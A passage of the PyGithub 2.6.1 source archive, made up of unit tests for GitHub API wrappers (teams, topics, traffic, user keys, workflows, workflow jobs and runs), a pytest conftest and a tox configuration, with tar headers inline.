warnings.filterwarnings("ignore", category=DeprecationWarning) self.team.set_repo_permission(repo, "admin") warnings.resetwarnings() def testUpdateTeamRepository(self): repo = self.org.get_repo("FatherBeaver") self.assertTrue(self.team.update_team_repository(repo, "admin")) def testRepos(self): repo = self.org.get_repo("FatherBeaver") self.assertListKeyEqual(self.team.get_repos(), None, []) self.assertFalse(self.team.has_in_repos(repo)) self.assertIsNone(self.team.get_repo_permission(repo)) self.team.add_to_repos(repo) self.assertListKeyEqual(self.team.get_repos(), lambda r: r.name, ["FatherBeaver"]) self.assertTrue(self.team.has_in_repos(repo)) permissions = self.team.get_repo_permission(repo) self.assertTrue(permissions.pull) self.team.remove_from_repos(repo) self.assertListKeyEqual(self.team.get_repos(), None, []) self.assertFalse(self.team.has_in_repos(repo)) def testEditWithoutArguments(self): self.team.edit("Name edited by PyGithub") self.assertEqual(self.team.name, "Name edited by PyGithub") def testEditWithAllArguments(self): parent = self.org.get_team(141496) self.team.edit( "Name edited twice by PyGithub", "Description edited by PyGithub", "admin", "secret", parent.id, "notifications_disabled", ) self.assertEqual(self.team.name, "Name edited twice by PyGithub") self.assertEqual(self.team.description, "Description edited by PyGithub") self.assertEqual(self.team.permission, "admin") self.assertEqual(self.team.privacy, "secret") self.assertEqual(self.team.parent, parent) self.assertEqual(self.team.notification_setting, "notifications_disabled") def testGetTeams(self): nested_teams = self.team.get_teams() self.assertListKeyEqual(nested_teams, lambda t: t.name, ["DummyTeam1", "DummyTeam2", "DummyTeam3"]) parent = nested_teams[0].parent self.assertEqual(self.team.name, parent.name) self.assertEqual(self.team.id, parent.id) def testDelete(self): self.team.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Topic.py0000644000175100001660000001113714756101563015563 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2019 Adam Baratz # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from operator import attrgetter from . import Framework class Topic(Framework.TestCase): def setUp(self): super().setUp() self.topics = list(self.g.search_topics("python")) def testAttributes(self): topic = self.topics[0] self.assertEqual(topic.name, "python") self.assertEqual(topic.display_name, "Python") self.assertEqual( topic.short_description, "Python is a dynamically typed programming language.", ) self.assertEqual( topic.description, "Python is a dynamically-typed garbage-collected programming language " "developed by Guido van Rossum in the late 80s to replace ABC. Much like the " "programming language Ruby, Python was designed to be easily read by " "programmers. Because of its large following and many libraries, Python can " "be implemented and used to do anything from webpages to scientific research.", ) self.assertEqual(topic.created_by, "Guido van Rossum") self.assertEqual(topic.released, "February 20, 1991") self.assertEqual(topic.created_at, datetime(2016, 12, 7, 0, 7, 2, tzinfo=timezone.utc)) self.assertEqual(topic.updated_at, datetime(2025, 1, 7, 9, 22, 52, tzinfo=timezone.utc)) self.assertEqual(topic.featured, True) self.assertEqual(topic.curated, True) self.assertEqual(topic.score, 1.0) self.assertEqual(topic.__repr__(), 'Topic(name="python")') def testNamesFromSearchResults(self): expected_names = [ "python", "django", "hacktoberfest", "flask", "python-script", "opencv-python", "numpy", "backend", "fastapi", "ruby", "python-library", "keras", "selenium-python", "tkinter-python", "scikit-learn", "pandas-python", "streamlit", "leetcode-python", "python36", "machinelearning-python", "nltk-python", "data-analysis-python", "micropython", "python37", "langchain-python", "learning-python", "oops-in-python", "python-telegram-bot", "python-package", "python-project", ] self.assertListKeyEqual(self.topics, attrgetter("name"), expected_names) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Traffic.py0000644000175100001660000001125014756101563016057 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2018 Justin Kufro # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class Traffic(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user() self.repo = self.user.get_repo("PyGithub") def testGetReferrers(self): referrerResponse = self.repo.get_top_referrers() self.assertGreaterEqual(len(referrerResponse), 1) self.assertEqual(referrerResponse[0].uniques, 1) self.assertEqual(referrerResponse[0].referrer, "github.com") self.assertEqual(referrerResponse[0].count, 5) self.assertEqual( repr(referrerResponse[0]), 'Referrer(uniques=1, referrer="github.com", count=5)', ) def testGetPaths(self): pathsResponse = self.repo.get_top_paths() self.assertEqual(len(pathsResponse), 10) self.assertEqual(pathsResponse[0].uniques, 4) self.assertEqual(pathsResponse[0].count, 23) self.assertEqual(pathsResponse[0].path, "/jkufro/PyGithub") self.assertEqual( pathsResponse[0].title, "jkufro/PyGithub: Typed interactions with the GitHub API v3", ) self.assertEqual( repr(pathsResponse[0]), 'Path(uniques=4, title="jkufro/PyGithub: Typed interactions with the GitHub API v3", path="/jkufro/PyGithub", count=23)', ) def testGetViews(self): views = self.repo.get_views_traffic() self.assertEqual(views.count, 93) self.assertEqual(views.uniques, 4) self.assertEqual(len(views.views), 5) view = views.views[0] self.assertEqual(view.uniques, 4) self.assertEqual( view.timestamp, datetime(2018, 11, 27, 0, 0, tzinfo=timezone.utc), ) self.assertEqual(view.count, 56) self.assertEqual( repr(view), "Traffic(uniques=4, timestamp=2018-11-27 00:00:00+00:00, count=56)", ) def testGetClones(self): clones = self.repo.get_clones_traffic() self.assertEqual(clones.count, 4) self.assertEqual(clones.uniques, 4) self.assertEqual(len(clones.clones), 1) clone = clones.clones[0] self.assertEqual(clone.uniques, 4) self.assertEqual( clone.timestamp, datetime(2018, 11, 27, 0, 0, tzinfo=timezone.utc), ) self.assertEqual(clone.count, 4) self.assertEqual( repr(clone), "Traffic(uniques=4, timestamp=2018-11-27 00:00:00+00:00, count=4)", ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/UserKey.py0000644000175100001660000000774114756101563016102 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class UserKey(Framework.TestCase): def setUp(self): super().setUp() self.key = self.g.get_user().get_key(2626650) def testAttributes(self): self.assertEqual(self.key.created_at, datetime(2024, 12, 23, 12, 34, 56, tzinfo=timezone.utc)) self.assertEqual(self.key.id, 2626650) self.assertEqual( self.key.key, "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==", ) self.assertTrue(self.key.read_only) self.assertEqual(self.key.title, "Key added through PyGithub") self.assertEqual(self.key.url, "https://api.github.com/user/keys/2626650") self.assertTrue(self.key.verified) self.assertEqual( repr(self.key), 'UserKey(title="Key added through PyGithub", id=2626650)', ) def testDelete(self): self.key.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Workflow.py0000644000175100001660000002015414756101563016316 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Mahesh Raju # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Thomas Burghout # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # Copyright 2025 Nick McClorey <32378821+nickrmcclorey@users.noreply.github.com># # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class Workflow(Framework.TestCase): def setUp(self): super().setUp() self.workflow = self.g.get_repo("PyGithub/PyGithub").get_workflow("check.yml") def testAttributes(self): self.assertEqual( repr(self.workflow), 'Workflow(url="https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390", name="check")', ) self.assertEqual(self.workflow.badge_url, "https://github.com/PyGithub/PyGithub/workflows/check/badge.svg") self.assertEqual(self.workflow.created_at, datetime(2020, 4, 15, 0, 48, 32, tzinfo=timezone.utc)) self.assertIsNone(self.workflow.deleted_at) self.assertEqual( self.workflow.html_url, "https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/check.yml" ) self.assertEqual(self.workflow.id, 1026390) self.assertEqual(self.workflow.name, "check") self.assertEqual(self.workflow.node_id, "MDg6V29ya2Zsb3cxMDI2Mzkw") self.assertEqual(self.workflow.path, ".github/workflows/check.yml") self.assertEqual(self.workflow.state, "active") timestamp = datetime(2020, 4, 15, 0, 48, 32, tzinfo=timezone.utc) self.assertEqual(self.workflow.created_at, timestamp) self.assertEqual(self.workflow.updated_at, timestamp) self.assertEqual( self.workflow.url, "https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390", ) self.assertEqual( self.workflow.html_url, "https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/check.yml", ) self.assertEqual( self.workflow.badge_url, "https://github.com/PyGithub/PyGithub/workflows/check/badge.svg", ) def testGetRunsWithNoArguments(self): self.assertListKeyEqual( self.workflow.get_runs(), lambda r: r.id, [109950033, 109168419, 108934155, 108817672], ) def testGetRunsWithObjects(self): sfdye = self.g.get_user("sfdye") master = self.g.get_repo("PyGithub/PyGithub").get_branch("master") self.assertListKeyEqual( self.workflow.get_runs(actor=sfdye, branch=master, event="push", status="completed"), lambda r: r.id, [100957683, 94845611, 93946842, 92714488], ) def testGetRunsWithStrings(self): self.assertListKeyEqual( self.workflow.get_runs(actor="s-t-e-v-e-n-k", branch="master"), lambda r: r.id, [109950033, 108817672, 108794468, 107927403, 105213061, 105212023], ) def testGetRunsWithHeadSha(self): self.assertListKeyEqual( self.workflow.get_runs(head_sha="3a6235b56eecc0e193c1e267b064c155c6ebc022"), lambda r: r.id, [3349872717], ) def testGetRunsWithCreated(self): self.assertListKeyEqual( self.workflow.get_runs(created="2022-12-24"), lambda r: r.id, [3770390952], ) def testCreateDispatchWithBranch(self): dispatch_inputs = {"logLevel": "Warning", "message": "Log Message"} workflow = self.g.get_repo("wrecker/PyGithub").get_workflow("manual_dispatch.yml") branch = self.g.get_repo("wrecker/PyGithub").get_branch("workflow_dispatch_branch") self.assertTrue(workflow.create_dispatch(branch, dispatch_inputs)) def testCreateDispatchWithTag(self): dispatch_inputs = {"logLevel": "Warning", "message": "Log Message"} workflow = self.g.get_repo("wrecker/PyGithub").get_workflow("manual_dispatch.yml") tags = self.g.get_repo("wrecker/PyGithub").get_tags() tag = [t for t in tags if t.name == "workflow_dispatch_tag"].pop() self.assertTrue(workflow.create_dispatch(tag, dispatch_inputs)) def testCreateDispatchWithString(self): dispatch_inputs = {"logLevel": "Warning", "message": "Log Message"} workflow = self.g.get_repo("wrecker/PyGithub").get_workflow("manual_dispatch.yml") ref_str = "main" self.assertTrue(workflow.create_dispatch(ref_str, dispatch_inputs)) def testCreateDispatchForNonTriggerEnabled(self): workflow = self.g.get_repo("wrecker/PyGithub").get_workflow("check.yml") self.assertFalse(workflow.create_dispatch("main")) def testDisable(self): workflow = self.g.get_repo("nickrmcclorey/PyGithub").get_workflow("ci.yml") self.assertTrue(workflow.disable()) def testDisabledWhenAlreadyDisabled(self): workflow = self.g.get_repo("nickrmcclorey/PyGithub").get_workflow("ci.yml") self.assertFalse(workflow.disable()) def testEnable(self): workflow = self.g.get_repo("nickrmcclorey/PyGithub").get_workflow("ci.yml") self.assertTrue(workflow.enable()) def testEnableWhenAlreadyEnabled(self): workflow = self.g.get_repo("nickrmcclorey/PyGithub").get_workflow("ci.yml") self.assertTrue(workflow.enable()) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/WorkflowJob.py0000644000175100001660000001154114756101563016751 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jeppe Fihl-Pearson # # Copyright 2024 Enrico Minack # # Copyright 2024 Xavi Vega # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from . import Framework class WorkflowJob(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") self.job = self.repo.get_workflow_run(4205440316).jobs()[0] def testAttributes(self): self.assertEqual(self.job.id, 11421878319) self.assertEqual(self.job.run_id, 4205440316) self.assertEqual( self.job.run_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316", ) self.assertEqual(self.job.node_id, "CR_kwDOGpsAJ88AAAACqMwILw") self.assertEqual(self.job.head_sha, "06ec040b2eeef6c0316dd5abcda0608525a3f205") self.assertEqual( self.job.url, "https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878319", ) self.assertEqual( self.job.html_url, "https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536068", ) self.assertEqual(self.job.status, "completed") self.assertEqual(self.job.conclusion, "success") started_at = datetime(2023, 2, 17, 16, 3, 46, tzinfo=timezone.utc) self.assertEqual(self.job.started_at, started_at) completed_at = datetime(2023, 2, 17, 16, 4, 52, tzinfo=timezone.utc) self.assertEqual(self.job.completed_at, completed_at) self.assertEqual(self.job.name, "test (Python 3.7)") self.assertEqual( self.job.check_run_url, "https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878319", ) self.assertListKeyEqual( self.job.steps, lambda s: s.name, [ "Set up job", "Run actions/checkout@v2", "Set up Python", "Install tox", "Run tests", "Upload coverage to Codecov", "Post Set up Python", "Post Run actions/checkout@v2", "Complete job", ], ) self.assertEqual( self.job.logs_url(), "https://pipelines.actions.githubusercontent.com/serviceHosts/d560a817-28d4-4544-a539-eb35c2a56899/_apis/pipelines/1/runs/5/signedlogcontent/5?urlExpires=2023-03-15T17%3A02%3A58.1305046Z&urlSigningMethod=HMACV1&urlSignature=abcdefghijklmn", ) self.assertEqual(self.job.runner_id, 2) self.assertEqual(self.job.runner_name, "GitHub Actions 2") self.assertEqual(self.job.runner_group_id, 2) self.assertEqual(self.job.runner_group_name, "GitHub Actions") created_at = datetime(2023, 2, 17, 16, 3, 38, tzinfo=timezone.utc) self.assertEqual(self.job.created_at, created_at) self.assertEqual(self.job.head_branch, "tz-aware-2") self.assertEqual(self.job.labels, ["ubuntu-latest"]) self.assertEqual(self.job.run_attempt, 1) self.assertEqual(self.job.workflow_name, "CI") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/WorkflowRun.py0000644000175100001660000002452114756101563017005 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2020 Steve Kowalik # # Copyright 2020 Yannick Jadoul # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jeppe Fihl-Pearson # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Sasha Chung <50770626+nuang-ee@users.noreply.github.com> # # Copyright 2024 Chris Gavin # # Copyright 2024 Enrico Minack # # Copyright 2024 Geoffrey # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class WorkflowRun(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") self.workflow_run = self.repo.get_workflow_run(3881497935) def testAttributes(self): self.assertEqual( repr(self.workflow_run), 'WorkflowRun(url="https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935", id=3881497935)', ) self.assertEqual(self.workflow_run.actor.login, "nuang-ee") self.assertEqual( self.workflow_run.artifacts_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts", ) self.assertEqual( self.workflow_run.cancel_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel", ) self.assertEqual(self.workflow_run.check_suite_id, 10279069747) self.assertEqual(self.workflow_run.check_suite_node_id, "CS_kwDOADYVqs8AAAACZK4oMw") self.assertEqual( self.workflow_run.check_suite_url, "https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747" ) self.assertEqual(self.workflow_run.conclusion, "success") self.assertEqual(self.workflow_run.created_at, datetime(2023, 1, 10, 8, 24, 19, tzinfo=timezone.utc)) self.assertEqual(self.workflow_run.display_title, "TEST PR") self.assertEqual(self.workflow_run.event, "pull_request") self.assertEqual(self.workflow_run.head_branch, "feat/workflow-run") self.assertEqual(self.workflow_run.head_commit.sha, "c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98") self.assertEqual(self.workflow_run.head_repository.full_name, "nuang-ee/PyGithub") self.assertIsNone(self.workflow_run.head_repository_id) self.assertEqual(self.workflow_run.head_sha, "c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98") self.assertEqual(self.workflow_run.html_url, "https://github.com/PyGithub/PyGithub/actions/runs/3881497935") self.assertEqual(self.workflow_run.id, 3881497935) self.assertEqual( self.workflow_run.jobs_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs" ) self.assertEqual( self.workflow_run.logs_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs" ) self.assertEqual(self.workflow_run.name, "CI") self.assertEqual(self.workflow_run.head_branch, "feat/workflow-run") self.assertEqual(self.workflow_run.head_sha, "c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98") self.assertEqual(self.workflow_run.node_id, "WFR_kwLOADYVqs7nWvVP") self.assertEqual(self.workflow_run.path, ".github/workflows/ci.yml") self.assertEqual(self.workflow_run.display_title, "TEST PR") self.assertIsNone(self.workflow_run.previous_attempt_url) self.assertEqual(len(self.workflow_run.pull_requests), 0) self.assertEqual(self.workflow_run.referenced_workflows, []) self.assertEqual(self.workflow_run.repository.full_name, "PyGithub/PyGithub") self.assertIsNone(self.workflow_run.repository_id) self.assertEqual( self.workflow_run.rerun_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun" ) self.assertEqual(self.workflow_run.run_attempt, 1) self.assertEqual(self.workflow_run.run_number, 930) self.assertEqual(self.workflow_run.run_attempt, 1) self.assertEqual(self.workflow_run.run_started_at, datetime(2023, 1, 10, 8, 24, 19, tzinfo=timezone.utc)) self.assertEqual(self.workflow_run.event, "pull_request") self.assertEqual(self.workflow_run.status, "completed") self.assertEqual(self.workflow_run.conclusion, "success") self.assertEqual(self.workflow_run.triggering_actor.login, "nuang-ee") self.assertEqual(self.workflow_run.updated_at, datetime(2023, 1, 10, 8, 28, 20, tzinfo=timezone.utc)) self.assertEqual( self.workflow_run.url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935" ) self.assertEqual(self.workflow_run.workflow_id, 1903133) self.assertEqual( self.workflow_run.url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935" ) self.assertEqual(self.workflow_run.html_url, "https://github.com/PyGithub/PyGithub/actions/runs/3881497935") self.assertEqual(self.workflow_run.pull_requests, []) created_at = datetime(2023, 1, 10, 8, 24, 19, tzinfo=timezone.utc) self.assertEqual(self.workflow_run.created_at, created_at) updated_at = datetime(2023, 1, 10, 8, 28, 20, tzinfo=timezone.utc) self.assertEqual(self.workflow_run.updated_at, updated_at) self.assertEqual( self.workflow_run.jobs_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs", ) self.assertEqual( self.workflow_run.logs_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs", ) self.assertEqual( self.workflow_run.check_suite_url, "https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747", ) self.assertEqual( self.workflow_run.artifacts_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts", ) self.assertEqual( self.workflow_run.cancel_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel", ) self.assertEqual( self.workflow_run.rerun_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun", ) self.assertEqual( self.workflow_run.workflow_url, "https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133", ) self.assertEqual(self.workflow_run.head_commit.message, "add attribute 'name' on WorkflowRun") self.assertEqual(self.workflow_run.head_commit.tree.sha, "3ce398f9ee2571549b7fea545bfa5bf28e3ca0f5") self.assertEqual(self.workflow_run.repository.name, "PyGithub") self.assertEqual(self.workflow_run.head_repository.name, "PyGithub") def test_timing(self): timing = self.workflow_run.timing() self.assertEqual( timing.billable, { "UBUNTU": { "job_runs": [ {"duration_ms": 0, "job_id": 10545727758}, {"duration_ms": 0, "job_id": 10545727888}, {"duration_ms": 0, "job_id": 10545728039}, {"duration_ms": 0, "job_id": 10545728190}, {"duration_ms": 0, "job_id": 10545728356}, ], "jobs": 5, "total_ms": 0, } }, ) self.assertEqual(timing.run_duration_ms, 241000) def test_rerun(self): wr = self.repo.get_workflow_run(3910280793) self.assertFalse(wr.rerun()) def test_rerun_failed_jobs(self): wr = self.repo.get_workflow_run(3881497935) self.assertTrue(wr.rerun_failed_jobs()) def test_rerun_with_successful_run(self): wr = self.repo.get_workflow_run(3881497935) self.assertFalse(wr.rerun()) def test_cancel(self): wr = self.repo.get_workflow_run(3911660493) self.assertFalse(wr.cancel()) def test_delete(self): wr = self.repo.get_workflow_run(3881497935) self.assertFalse(wr.delete()) def test_jobs(self): self.assertListKeyEqual( self.workflow_run.jobs(), lambda j: j.id, [10545727758, 10545727888, 10545728039, 10545728190, 10545728356], ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/__init__.py0000644000175100001660000000446214756101563016247 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/conftest.py0000644000175100001660000000641214756101563016332 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Matthew Neal # # Copyright 2016 Peter Buckley # # Copyright 2016 Sam Corbett # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework def pytest_addoption(parser): parser.addoption("--record", action="store_true", help="record mode") parser.addoption("--auth_with_token", action="store_true", help="auth using a token") parser.addoption("--auth_with_jwt", action="store_true", help="auth using JWT") def pytest_configure(config): if config.getoption("record"): Framework.activateRecordMode() if config.getoption("auth_with_token"): Framework.activateTokenAuthMode() if config.getoption("auth_with_jwt"): Framework.activateJWTAuthMode() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tox.ini0000644000175100001660000000152414756101563014303 0ustar00runnerdocker[tox] envlist = lint, py{38,39,310,311,312}, docs [gh-actions] # this make sure each ci job only run tests once. # keey it sync with workflows/ci.yaml matrix python = 3.8: py38 3.9: py39 3.10: py310 3.11: py311 3.12: py312 [testenv] deps = -rrequirements/test.txt commands = pytest --junit-xml pytest.xml --cov=github --cov-report=xml {posargs} [testenv:lint] basepython = python3.8 skip_install = true deps = -r requirements/types.txt pre-commit commands = pre-commit run --all-files --show-diff-on-failure ; Run mypy outside pre-commit because pre-commit runs mypy in a venv ; that doesn't have dependencies or their type annotations installed. mypy github tests [testenv:docs] basepython = python3.8 skip_install = true commands = sphinx-build doc build allowlist_externals = sphinx-build